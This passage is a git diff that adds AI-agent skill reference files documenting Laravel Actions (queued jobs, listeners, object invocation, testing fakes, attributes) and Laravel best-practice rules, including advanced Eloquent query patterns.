+- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling.
+
+## Recommended pattern
+
+- Dispatch with `Action::dispatch(...)` for async execution.
+- Keep queue-specific orchestration in `asJob(...)`.
+- Keep reusable business logic in `handle(...)`.
+
+## Methods provided (`AsJob` trait)
+
+### `dispatch`
+
+Dispatches the action asynchronously.
+
+```php
+SendTeamReportEmail::dispatch($team);
+```
+
+### `dispatchIf`
+
+Dispatches asynchronously only if condition is met.
+
+```php
+SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team);
+```
+
+### `dispatchUnless`
+
+Dispatches asynchronously unless condition is met.
+
+```php
+SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team);
+```
+
+### `dispatchSync`
+
+Dispatches synchronously.
+
+```php
+SendTeamReportEmail::dispatchSync($team);
+```
+
+### `dispatchNow`
+
+Alias of `dispatchSync`.
+
+```php
+SendTeamReportEmail::dispatchNow($team);
+```
+
+### `dispatchAfterResponse`
+
+Dispatches synchronously after the HTTP response is sent.
+
+```php
+SendTeamReportEmail::dispatchAfterResponse($team);
+```
+
+### `makeJob`
+
+Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains.
+
+```php
+dispatch(SendTeamReportEmail::makeJob($team));
+```
+
+### `makeUniqueJob`
+
+Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced.
+
+```php
+dispatch(SendTeamReportEmail::makeUniqueJob($team));
+```
+
+### `withChain`
+
+Attaches jobs to run after successful processing.
+
+```php
+$chain = [
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+];
+
+CreateNewTeamReport::withChain($chain)->dispatch($team);
+```
+
+Equivalent using `Bus::chain(...)`:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::chain([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+])->dispatch();
+```
+
+Chain assertion example:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::fake();
+
+Bus::assertChained([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+]);
+```
+
+### `assertPushed`
+
+Asserts the action was queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushed();
+SendTeamReportEmail::assertPushed(3);
+SendTeamReportEmail::assertPushed($callback);
+SendTeamReportEmail::assertPushed(3, $callback);
+```
+
+`$callback` receives:
+- Action instance.
+- Dispatched arguments.
+- `JobDecorator` instance.
+- Queue name.
+
+### `assertNotPushed`
+
+Asserts the action was not queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertNotPushed();
+SendTeamReportEmail::assertNotPushed($callback);
+```
+
+### `assertPushedOn`
+
+Asserts the action was queued on a specific queue.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushedOn('reports');
+SendTeamReportEmail::assertPushedOn('reports', 3);
+SendTeamReportEmail::assertPushedOn('reports', $callback);
+SendTeamReportEmail::assertPushedOn('reports', 3, $callback);
+```
+
+## Methods used (`JobDecorator`)
+
+### `asJob`
+
+Called when dispatched as a job. Falls back to `handle(...)` if missing.
+
+```php
+class SendTeamReportEmail
+{
+ use AsAction;
+
+ public function handle(Team $team, bool $fullReport = false): void
+ {
+ // Prepare report and send it to all $team->users.
+ }
+
+ public function asJob(Team $team): void
+ {
+ $this->handle($team, true);
+ }
+}
+```
+
+### `getJobMiddleware`
+
+Adds middleware to the queued action.
+
+```php
+public function getJobMiddleware(array $parameters): array
+{
+ return [new RateLimited('reports')];
+}
+```
+
+### `configureJob`
+
+Configures `JobDecorator` options.
+
+```php
+use Lorisleiva\Actions\Decorators\JobDecorator;
+
+public function configureJob(JobDecorator $job): void
+{
+ $job->onConnection('my_connection')
+ ->onQueue('my_queue')
+ ->through(['my_middleware'])
+ ->chain(['my_chain'])
+ ->delay(60);
+}
+```
+
+### `$jobConnection`
+
+Defines queue connection.
+
+```php
+public string $jobConnection = 'my_connection';
+```
+
+### `$jobQueue`
+
+Defines queue name.
+
+```php
+public string $jobQueue = 'my_queue';
+```
+
+### `$jobTries`
+
+Defines max attempts.
+
+```php
+public int $jobTries = 10;
+```
+
+### `$jobMaxExceptions`
+
+Defines max unhandled exceptions before failure.
+
+```php
+public int $jobMaxExceptions = 3;
+```
+
+### `$jobBackoff`
+
+Defines retry delay seconds.
+
+```php
+public int $jobBackoff = 60;
+```
+
+### `getJobBackoff`
+
+Defines retry delay (int or per-attempt array).
+
+```php
+public function getJobBackoff(): int
+{
+ return 60;
+}
+
+public function getJobBackoff(): array
+{
+ return [30, 60, 120];
+}
+```
+
+### `$jobTimeout`
+
+Defines timeout in seconds.
+
+```php
+public int $jobTimeout = 60 * 30;
+```
+
+### `$jobRetryUntil`
+
+Defines timestamp retry deadline.
+
+```php
+public int $jobRetryUntil = 1610191764;
+```
+
+### `getJobRetryUntil`
+
+Defines retry deadline as `DateTime`.
+
+```php
+public function getJobRetryUntil(): DateTime
+{
+ return now()->addMinutes(30);
+}
+```
+
+### `getJobDisplayName`
+
+Customizes queued job display name.
+
+```php
+public function getJobDisplayName(): string
+{
+ return 'Send team report email';
+}
+```
+
+### `getJobTags`
+
+Adds queue tags.
+
+```php
+public function getJobTags(Team $team): array
+{
+ return ['report', 'team:'.$team->id];
+}
+```
+
+### `getJobUniqueId`
+
+Defines uniqueness key when using `ShouldBeUnique`.
+
+```php
+public function getJobUniqueId(Team $team): int
+{
+ return $team->id;
+}
+```
+
+### `$jobUniqueId`
+
+Static uniqueness key alternative.
+
+```php
+public string $jobUniqueId = 'some_static_key';
+```
+
+### `getJobUniqueFor`
+
+Defines uniqueness lock duration in seconds.
+
+```php
+public function getJobUniqueFor(Team $team): int
+{
+ return $team->role === 'premium' ? 1800 : 3600;
+}
+```
+
+### `$jobUniqueFor`
+
+Property alternative for uniqueness lock duration.
+
+```php
+public int $jobUniqueFor = 3600;
+```
+
+### `getJobUniqueVia`
+
+Defines cache driver used for uniqueness lock.
+
+```php
+public function getJobUniqueVia()
+{
+ return Cache::driver('redis');
+}
+```
+
+### `$jobDeleteWhenMissingModels`
+
+Property alternative for missing model handling.
+
+```php
+public bool $jobDeleteWhenMissingModels = true;
+```
+
+### `getJobDeleteWhenMissingModels`
+
+Defines whether jobs with missing models are deleted.
+
+```php
+public function getJobDeleteWhenMissingModels(): bool
+{
+ return true;
+}
+```
+
+### `jobFailed`
+
+Handles job failure. Receives exception and dispatched parameters.
+
+```php
+public function jobFailed(?Throwable $e, ...$parameters): void
+{
+ // Notify users, report errors, trigger compensations...
+}
+```
+
+## Checklist
+
+- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`).
+- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`).
+- Retry/backoff/timeout policies are intentional.
+- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required.
+- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`).
+
+## Common pitfalls
+
+- Embedding domain logic only in `asJob(...)`.
+- Forgetting uniqueness/timeout/retry controls on heavy jobs.
+- Missing queue-specific assertions in tests.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-job.html
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/listener.md b/.agents/skills/laravel-actions/references/listener.md
new file mode 100644
index 000000000..c5233001d
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/listener.md
@@ -0,0 +1,81 @@
+# Listener Entrypoint (`asListener`)
+
+## Scope
+
+Use this reference when wiring actions to domain/application events.
+
+## Recap
+
+- Shows how listener execution maps event payloads into `handle(...)` arguments.
+- Describes `asListener(...)` fallback behavior and adaptation role.
+- Includes event registration example for provider wiring.
+- Emphasizes test focus on dispatch and action interaction.
+
+## Recommended pattern
+
+- Register action listener in `EventServiceProvider` (or project equivalent).
+- Use `asListener(Event $event)` for event adaptation.
+- Delegate core logic to `handle(...)`.
+
+## Methods used (`ListenerDecorator`)
+
+### `asListener`
+
+Called when executed as an event listener. If missing, it falls back to `handle(...)`.
+
+```php
+class SendOfferToNearbyDrivers
+{
+ use AsAction;
+
+ public function handle(Address $source, Address $destination): void
+ {
+ // ...
+ }
+
+ public function asListener(TaxiRequested $event): void
+ {
+ $this->handle($event->source, $event->destination);
+ }
+}
+```
+
+## Examples
+
+### Event registration
+
+```php
+// app/Providers/EventServiceProvider.php
+protected $listen = [
+ TaxiRequested::class => [
+ SendOfferToNearbyDrivers::class,
+ ],
+];
+```
+
+### Focused listener test
+
+```php
+use Illuminate\Support\Facades\Event;
+
+Event::fake();
+
+TaxiRequested::dispatch($source, $destination);
+
+Event::assertDispatched(TaxiRequested::class);
+```
+
+## Checklist
+
+- Event-to-listener mapping is registered.
+- Listener method signature matches event contract.
+- Listener tests verify dispatch and action interaction.
+
+## Common pitfalls
+
+- Assuming automatic listener registration when explicit mapping is required.
+- Re-implementing business logic in `asListener(...)`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-listener.html
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/object.md b/.agents/skills/laravel-actions/references/object.md
new file mode 100644
index 000000000..6a90be4d5
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/object.md
@@ -0,0 +1,118 @@
+# Object Entrypoint (`run`, `make`, DI)
+
+## Scope
+
+Use this reference when the action is invoked as a plain object.
+
+## Recap
+
+- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`.
+- Clarifies when to use static helpers versus DI/manual invocation.
+- Includes minimal examples for direct run and service-level injection.
+- Highlights boundaries: business logic stays in `handle(...)`.
+
+## Recommended pattern
+
+- Keep core business logic in `handle(...)`.
+- Prefer `Action::run(...)` for readability.
+- Use `Action::make()->handle(...)` or DI only when needed.
+
+## Methods provided
+
+### `make`
+
+Resolves the action from the container.
+
+```php
+PublishArticle::make();
+
+// Equivalent to:
+app(PublishArticle::class);
+```
+
+### `run`
+
+Resolves and executes the action.
+
+```php
+PublishArticle::run($articleId);
+
+// Equivalent to:
+PublishArticle::make()->handle($articleId);
+```
+
+### `runIf`
+
+Resolves and executes the action only if the condition is met.
+
+```php
+PublishArticle::runIf($shouldPublish, $articleId);
+
+// Equivalent mental model:
+if ($shouldPublish) {
+ PublishArticle::run($articleId);
+}
+```
+
+### `runUnless`
+
+Resolves and executes the action only if the condition is not met.
+
+```php
+PublishArticle::runUnless($alreadyPublished, $articleId);
+
+// Equivalent mental model:
+if (! $alreadyPublished) {
+ PublishArticle::run($articleId);
+}
+```
+
+## Checklist
+
+- Input/output types are explicit.
+- `handle(...)` has no transport concerns.
+- Business behavior is covered by direct `handle(...)` tests.
+
+## Common pitfalls
+
+- Putting HTTP/CLI/queue concerns in `handle(...)`.
+- Calling adapters from `handle(...)` instead of the reverse.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-object.html
+
+## Examples
+
+### Minimal object-style invocation
+
+```php
+final class PublishArticle
+{
+ use AsAction;
+
+ public function handle(int $articleId): bool
+ {
+ // Domain logic...
+ return true;
+ }
+}
+
+$published = PublishArticle::run(42);
+```
+
+### Dependency injection invocation
+
+```php
+final class ArticleService
+{
+ public function __construct(
+ private PublishArticle $publishArticle
+ ) {}
+
+ public function publish(int $articleId): bool
+ {
+ return $this->publishArticle->handle($articleId);
+ }
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/testing-fakes.md b/.agents/skills/laravel-actions/references/testing-fakes.md
new file mode 100644
index 000000000..97766e6ce
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/testing-fakes.md
@@ -0,0 +1,160 @@
+# Testing and Action Fakes
+
+## Scope
+
+Use this reference when isolating action orchestration in tests.
+
+## Recap
+
+- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`).
+- Clarifies when to assert execution versus non-execution.
+- Covers fake lifecycle checks/reset (`isFake`, `clearFake`).
+- Provides branch-oriented test examples for orchestration confidence.
+
+## Core methods
+
+- `mock()`
+- `partialMock()`
+- `spy()`
+- `shouldRun()`
+- `shouldNotRun()`
+- `allowToRun()`
+- `isFake()`
+- `clearFake()`
+
+## Recommended pattern
+
+- Test `handle(...)` directly for business rules.
+- Test entrypoints for wiring/orchestration.
+- Fake only at the boundary under test.
+
+## Methods provided (`AsFake` trait)
+
+### `mock`
+
+Swaps the action with a full mock.
+
+```php
+FetchContactsFromGoogle::mock()
+ ->shouldReceive('handle')
+ ->with(42)
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `partialMock`
+
+Swaps the action with a partial mock.
+
+```php
+FetchContactsFromGoogle::partialMock()
+ ->shouldReceive('fetch')
+ ->with('some_google_identifier')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `spy`
+
+Swaps the action with a spy.
+
+```php
+$spy = FetchContactsFromGoogle::spy()
+ ->allows('handle')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `shouldRun`
+
+Helper adding expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldReceive('handle');
+```
+
+### `shouldNotRun`
+
+Helper adding negative expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldNotRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldNotReceive('handle');
+```
+
+### `allowToRun`
+
+Helper allowing `handle` on a spy.
+
+```php
+$spy = FetchContactsFromGoogle::allowToRun()
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `isFake`
+
+Returns whether the action has been swapped with a fake.
+
+```php
+FetchContactsFromGoogle::isFake(); // false
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+```
+
+### `clearFake`
+
+Clears the fake instance, if any.
+
+```php
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+FetchContactsFromGoogle::clearFake();
+FetchContactsFromGoogle::isFake(); // false
+```
+
+## Examples
+
+### Orchestration test
+
+```php
+it('runs sync contacts for premium teams', function () {
+ SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue();
+
+ ImportTeamContacts::run(42, isPremium: true);
+});
+```
+
+### Guard-clause test
+
+```php
+it('does not run sync when integration is disabled', function () {
+ SyncGoogleContacts::shouldNotRun();
+
+ ImportTeamContacts::run(42, integrationEnabled: false);
+});
+```
+
+## Checklist
+
+- Assertions verify call intent and argument contracts.
+- Fakes are cleared when leakage risk exists.
+- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer.
+
+## Common pitfalls
+
+- Over-mocking and losing behavior confidence.
+- Asserting only dispatch, not business correctness.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-fake.html
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/troubleshooting.md b/.agents/skills/laravel-actions/references/troubleshooting.md
new file mode 100644
index 000000000..cf6a5800f
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/troubleshooting.md
@@ -0,0 +1,33 @@
+# Troubleshooting
+
+## Scope
+
+Use this reference when action wiring behaves unexpectedly.
+
+## Recap
+
+- Provides a fast triage flow for routing, queueing, events, and command wiring.
+- Lists recurring failure patterns and where to check first.
+- Encourages reproducing issues with focused tests before broad debugging.
+- Separates wiring diagnostics from domain logic verification.
+
+## Fast checks
+
+- Action class uses `AsAction`.
+- Namespace and autoloading are correct.
+- Entrypoint wiring (route, queue, event, command) is registered.
+- Method signatures and argument types match caller expectations.
+
+## Failure patterns
+
+- Controller route points to wrong class.
+- Queue worker/config mismatch.
+- Listener mapping not loaded.
+- Command signature mismatch.
+- Command not registered in the console kernel.
+
+## Debug checklist
+
+- Reproduce with a focused failing test.
+- Validate wiring layer first, then domain behavior.
+- Isolate dependencies with fakes/spies where appropriate.
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/with-attributes.md b/.agents/skills/laravel-actions/references/with-attributes.md
new file mode 100644
index 000000000..1b28cf2cb
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/with-attributes.md
@@ -0,0 +1,189 @@
+# With Attributes (`WithAttributes` trait)
+
+## Scope
+
+Use this reference when an action stores and validates input via internal attributes instead of method arguments.
+
+## Recap
+
+- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers).
+- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params).
+- Lists validation/authorization hooks reused from controller validation pipeline.
+- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`.
+
+## Methods provided (`WithAttributes` trait)
+
+### `setRawAttributes`
+
+Replaces all attributes with the provided payload.
+
+```php
+$action->setRawAttributes([
+ 'key' => 'value',
+]);
+```
+
+### `fill`
+
+Merges provided attributes into existing attributes.
+
+```php
+$action->fill([
+ 'key' => 'value',
+]);
+```
+
+### `fillFromRequest`
+
+Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide.
+
+```php
+$action->fillFromRequest($request);
+```
+
+### `all`
+
+Returns all attributes.
+
+```php
+$action->all();
+```
+
+### `only`
+
+Returns attributes matching the provided keys.
+
+```php
+$action->only('title', 'body');
+```
+
+### `except`
+
+Returns attributes excluding the provided keys.
+
+```php
+$action->except('body');
+```
+
+### `has`
+
+Returns whether an attribute exists for the given key.
+
+```php
+$action->has('title');
+```
+
+### `get`
+
+Returns the attribute value by key, with optional default.
+
+```php
+$action->get('title');
+$action->get('title', 'Untitled');
+```
+
+### `set`
+
+Sets an attribute value by key.
+
+```php
+$action->set('title', 'My blog post');
+```
+
+### `__get`
+
+Accesses attributes as object properties.
+
+```php
+$action->title;
+```
+
+### `__set`
+
+Updates attributes as object properties.
+
+```php
+$action->title = 'My blog post';
+```
+
+### `__isset`
+
+Checks attribute existence as object properties.
+
+```php
+isset($action->title);
+```
+
+### `validateAttributes`
+
+Runs authorization and validation using action attributes and returns validated data.
+
+```php
+$validatedData = $action->validateAttributes();
+```
+
+## Methods used (`AttributeValidator`)
+
+`WithAttributes` uses the same authorization/validation hooks as `AsController`:
+
+- `prepareForValidation`
+- `authorize`
+- `rules`
+- `withValidator`
+- `afterValidator`
+- `getValidator`
+- `getValidationData`
+- `getValidationMessages`
+- `getValidationAttributes`
+- `getValidationRedirect`
+- `getValidationErrorBag`
+- `getValidationFailure`
+- `getAuthorizationFailure`
+
+## Example
+
+```php
+class CreateArticle
+{
+ use AsAction;
+ use WithAttributes;
+
+ public function rules(): array
+ {
+ return [
+ 'title' => ['required', 'string', 'min:8'],
+ 'body' => ['required', 'string'],
+ ];
+ }
+
+ public function handle(array $attributes): Article
+ {
+ return Article::create($attributes);
+ }
+}
+
+$action = CreateArticle::make()->fill([
+ 'title' => 'My first post',
+ 'body' => 'Hello world',
+]);
+
+$validated = $action->validateAttributes();
+$article = $action->handle($validated);
+```
+
+## Checklist
+
+- Attribute keys are explicit and stable.
+- Validation rules match expected attribute shape.
+- `validateAttributes()` is called before side effects when needed.
+- Validation/authorization hooks are tested in focused unit tests.
+
+## Common pitfalls
+
+- Mixing attribute-based and argument-based flows inconsistently in the same action.
+- Assuming route params override request input in `fillFromRequest` (they do not).
+- Skipping `validateAttributes()` when using external input.
+
+## References
+
+- https://www.laravelactions.com/2.x/with-attributes.html
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/SKILL.md b/.agents/skills/laravel-best-practices/SKILL.md
new file mode 100644
index 000000000..99018f3ae
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/SKILL.md
@@ -0,0 +1,190 @@
+---
+name: laravel-best-practices
+description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Best Practices
+
+Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`.
+
+## Consistency First
+
+Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern.
+
+Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides.
+
+## Quick Reference
+
+### 1. Database Performance → `rules/db-performance.md`
+
+- Eager load with `with()` to prevent N+1 queries
+- Enable `Model::preventLazyLoading()` in development
+- Select only needed columns, avoid `SELECT *`
+- `chunk()` / `chunkById()` for large datasets
+- Index columns used in `WHERE`, `ORDER BY`, `JOIN`
+- `withCount()` instead of loading relations to count
+- `cursor()` for memory-efficient read-only iteration
+- Never query in Blade templates
+
+### 2. Advanced Query Patterns → `rules/advanced-queries.md`
+
+- `addSelect()` subqueries over eager-loading entire has-many for a single value
+- Dynamic relationships via subquery FK + `belongsTo`
+- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries
+- `setRelation()` to prevent circular N+1 queries
+- `whereIn` + `pluck()` over `whereHas` for better index usage
+- Two simple queries can beat one complex query
+- Compound indexes matching `orderBy` column order
+- Correlated subqueries in `orderBy` for has-many sorting (avoid joins)
+
+### 3. Security → `rules/security.md`
+
+- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates
+- No raw SQL with user input — use Eloquent or query builder
+- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes
+- Validate MIME type, extension, and size for file uploads
+- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields
+
+### 4. Caching → `rules/caching.md`
+
+- `Cache::remember()` over manual get/put
+- `Cache::flexible()` for stale-while-revalidate on high-traffic data
+- `Cache::memo()` to avoid redundant cache hits within a request
+- Cache tags to invalidate related groups
+- `Cache::add()` for atomic conditional writes
+- `once()` to memoize per-request or per-object lifetime
+- `Cache::lock()` / `lockForUpdate()` for race conditions
+- Failover cache stores in production
+
+### 5. Eloquent Patterns → `rules/eloquent.md`
+
+- Correct relationship types with return type hints
+- Local scopes for reusable query constraints
+- Global scopes sparingly — document their existence
+- Attribute casts in the `casts()` method
+- Cast date columns, use Carbon instances in templates
+- `whereBelongsTo($model)` for cleaner queries
+- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries
+
+### 6. Validation & Forms → `rules/validation.md`
+
+- Form Request classes, not inline validation
+- Array notation `['required', 'email']` for new code; follow existing convention
+- `$request->validated()` only — never `$request->all()`
+- `Rule::when()` for conditional validation
+- `after()` instead of `withValidator()`
+
+### 7. Configuration → `rules/config.md`
+
+- `env()` only inside config files
+- `App::environment()` or `app()->isProduction()`
+- Config, lang files, and constants over hardcoded text
+
+### 8. Testing Patterns → `rules/testing.md`
+
+- `LazilyRefreshDatabase` over `RefreshDatabase` for speed
+- `assertModelExists()` over raw `assertDatabaseHas()`
+- Factory states and sequences over manual overrides
+- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before
+- `recycle()` to share relationship instances across factories
+
+### 9. Queue & Job Patterns → `rules/queue-jobs.md`
+
+- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]`
+- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency
+- Always implement `failed()`; with `retryUntil()`, set `$tries = 0`
+- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs
+- Horizon for complex multi-queue scenarios
+
+### 10. Routing & Controllers → `rules/routing.md`
+
+- Implicit route model binding
+- Scoped bindings for nested resources
+- `Route::resource()` or `apiResource()`
+- Methods under 10 lines — extract to actions/services
+- Type-hint Form Requests for auto-validation
+
+### 11. HTTP Client → `rules/http-client.md`
+
+- Explicit `timeout` and `connectTimeout` on every request
+- `retry()` with exponential backoff for external APIs
+- Check response status or use `throw()`
+- `Http::pool()` for concurrent independent requests
+- `Http::fake()` and `preventStrayRequests()` in tests
+
+### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md`
+
+- Event discovery over manual registration; `event:cache` in production
+- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions
+- Queue notifications and mailables with `ShouldQueue`
+- On-demand notifications for non-user recipients
+- `HasLocalePreference` on notifiable models
+- `assertQueued()` not `assertSent()` for queued mailables
+- Markdown mailables for transactional emails
+
+### 13. Error Handling → `rules/error-handling.md`
+
+- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern
+- `ShouldntReport` for exceptions that should never log
+- Throttle high-volume exceptions to protect log sinks
+- `dontReportDuplicates()` for multi-catch scenarios
+- Force JSON rendering for API routes
+- Structured context via `context()` on exception classes
+
+### 14. Task Scheduling → `rules/scheduling.md`
+
+- `withoutOverlapping()` on variable-duration tasks
+- `onOneServer()` on multi-server deployments
+- `runInBackground()` for concurrent long tasks
+- `environments()` to restrict to appropriate environments
+- `takeUntilTimeout()` for time-bounded processing
+- Schedule groups for shared configuration
+
+### 15. Architecture → `rules/architecture.md`
+
+- Single-purpose Action classes; dependency injection over `app()` helper
+- Prefer official Laravel packages and follow conventions, don't override defaults
+- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety
+- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution
+
+### 16. Migrations → `rules/migrations.md`
+
+- Generate migrations with `php artisan make:migration`
+- `constrained()` for foreign keys
+- Never modify migrations that have run in production
+- Add indexes in the migration, not as an afterthought
+- Mirror column defaults in model `$attributes`
+- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes
+- One concern per migration — never mix DDL and DML
+
+### 17. Collections → `rules/collections.md`
+
+- Higher-order messages for simple collection operations
+- `cursor()` vs. `lazy()` — choose based on relationship needs
+- `lazyById()` when updating records while iterating
+- `toQuery()` for bulk operations on collections
+
+### 18. Blade & Views → `rules/blade-views.md`
+
+- `$attributes->merge()` in component templates
+- Blade components over `@include`; `@pushOnce` for per-component scripts
+- View Composers for shared view data
+- `@aware` for deeply nested component props
+
+### 19. Conventions & Style → `rules/style.md`
+
+- Follow Laravel naming conventions for all entities
+- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions
+- No JS/CSS in Blade, no HTML in PHP classes
+- Code should be readable; comments only for config files
+
+## How to Apply
+
+Always use a sub-agent to read rule files and explore this skill's content.
+
+1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10)
+2. Check sibling files for existing patterns — follow those first per Consistency First
+3. Verify API syntax with `search-docs` for the installed Laravel version
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/advanced-queries.md b/.agents/skills/laravel-best-practices/rules/advanced-queries.md
new file mode 100644
index 000000000..920714a14
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/advanced-queries.md
@@ -0,0 +1,106 @@
+# Advanced Query Patterns
+
+## Use `addSelect()` Subqueries for Single Values from Has-Many
+
+Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries.
+
+```php
+public function scopeWithLastLoginAt($query): void
+{
+ $query->addSelect([
+ 'last_login_at' => Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->withCasts(['last_login_at' => 'datetime']);
+}
+```
+
+## Create Dynamic Relationships via Subquery FK
+
+Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection.
+
+```php
+public function lastLogin(): BelongsTo
+{
+ return $this->belongsTo(Login::class);
+}
+
+public function scopeWithLastLogin($query): void
+{
+ $query->addSelect([
+ 'last_login_id' => Login::select('id')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->with('lastLogin');
+}
+```
+
+## Use Conditional Aggregates Instead of Multiple Count Queries
+
+Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values.
+
+```php
+$statuses = Feature::toBase()
+ ->selectRaw("count(case when status = 'Requested' then 1 end) as requested")
+ ->selectRaw("count(case when status = 'Planned' then 1 end) as planned")
+ ->selectRaw("count(case when status = 'Completed' then 1 end) as completed")
+ ->first();
+```
+
+## Use `setRelation()` to Prevent Circular N+1
+
+When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries.
+
+```php
+$feature->load('comments.user');
+$feature->comments->each->setRelation('feature', $feature);
+```
+
+## Prefer `whereIn` + Subquery Over `whereHas`
+
+`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory.
+
+Incorrect (correlated EXISTS re-executes per row):
+
+```php
+$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term));
+```
+
+Correct (index-friendly subquery, no PHP memory overhead):
+
+```php
+$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id'));
+```
+
+## Sometimes Two Simple Queries Beat One Complex Query
+
+Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index.
+
+## Use Compound Indexes Matching `orderBy` Column Order
+
